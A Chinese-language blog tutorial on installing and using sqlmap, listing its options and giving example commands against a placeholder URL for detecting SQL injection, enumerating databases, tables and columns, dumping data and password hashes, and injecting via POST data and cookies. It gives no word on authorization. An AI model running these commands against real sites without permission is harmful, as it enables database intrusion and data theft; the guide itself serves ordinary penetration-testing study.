SQLMAP的安装和使用-拓冰建站

SQLMAP的安装

SQLMAP的官方网站：https://sqlmap.org/

下载解压缩之后进入sqlmap的文件夹，在此文件夹中打开控制台（可以在上方地址栏输入cmd回车快速打开）

输入命令python sqlmap.py或python sqlmap.py -h检验是否成功

sqlmap使用

SQLMAP是一种开源渗透测试工具，可自动执行SQL注入缺陷的检测和注入过程，并接管数据库服务器。它有强大的检测引擎，针对不同类型的数据库提供多样的渗透测试功能选项，实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令，以及从数据库指纹识别、从数据库获取数据、通过带外连接在操作系统上执行命令。

支持的注入方式

分别是：联合查询、报错注入、堆叠注入、布尔盲注、时间盲注

使用条件

知道网站的绝对路径
高权限数据库用户
secure_file_priv=''无限制

ctrl+C停止现在的探测

sqlmap基本参数

-d 指定直接数据库连接得连接字符串，直接连接到数据库。 -u 指定URL目标 -I 从Burp或WebScarab代理得日志中解析目标 -m 扫描文本文件中给出得多个目标，批量扫描 -r 从文本中加载HTTP请求。 用 * 标记注入位置 -g 将Google Dork得结果作为目标URLh -b -- 获取数据库版本信息 -f -- 获取数据库指纹 -a 获取所有信息 -current-user 获取DBMS当前用户 --current-db 获取DBMS当前数据库 --hostname 获取DBMS当前主机名 --is-dba 检测当前用户是否为管理员用户 --users 查询DBMS用户 --passwords 查询DBMS用户密码hash --dbs 查询DBMS数据库 --tables 查询DBMS数据库中得表 --columns 查询DBMS数据库表得列名 --dump 查询转储DBMS数据库表 --dump-all 转储DBMS所有数据库表 -D db_name 指定要求枚举的DBMS数据库名 -T table_name 指定要枚举得DBMS表 -C column_name 指定要枚举得DBMS列 --batch 从不询问用户输入，使用所有默认配置 --tamper -- 指定脚本 --dbms -- 指定数据库类型 --os -- 指定操作系统(windows/linux) --level -- 指定探测等级(1~5) --delay -- 设置延时 --technique -- 指定注入方式 --hostname 获取服务器主机名。  --search 搜索数据库中是否存在指定库/表/字段，需要指定库名/表名/字段名

如果有pytnon 2和3，命令写python3 sqlmap.py

判断是否存在注入

python sqlmap.py -u "URL/?id=1"

判断当前用户是否为dba

python sqlmap.py -u "URL/?id=1" --is-dba

查看数据库用户

python sqlmap.py -u "URL/?id=1" --current-user

查看所有数据库

python sqlmap.py -u "URL/?id=1" --dbs

查看当前数据库名称

python sqlmap.py -u "URL/?id=1" --current-db

查询当前数据库的表

python sqlmap.py -u "URL/?id=1" -D 数据库名 --tables

查询表中的字段名

python sqlmap.py -u "URL/?id=1" -D 数据库名 -T 表名 --columns

查询字段下的数据

python sqlmap.py -u "URL/?id=1" -D 数据库名 -T 表名 --dump

针对不同的注入位置

GET请求注入

sqlmap -u "URL/?id=1"

POST请求注入

python sqlmap.py -u "URL/?id=1"

--data="uname=admin&passwd=admin&submit=Submit" --dbs

--data "uname=test&passwd=test&submit=Submit" -p "uname,passwd" --dbs --users --batch

COOKIE注入

sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs

SQLMAP的安装和使用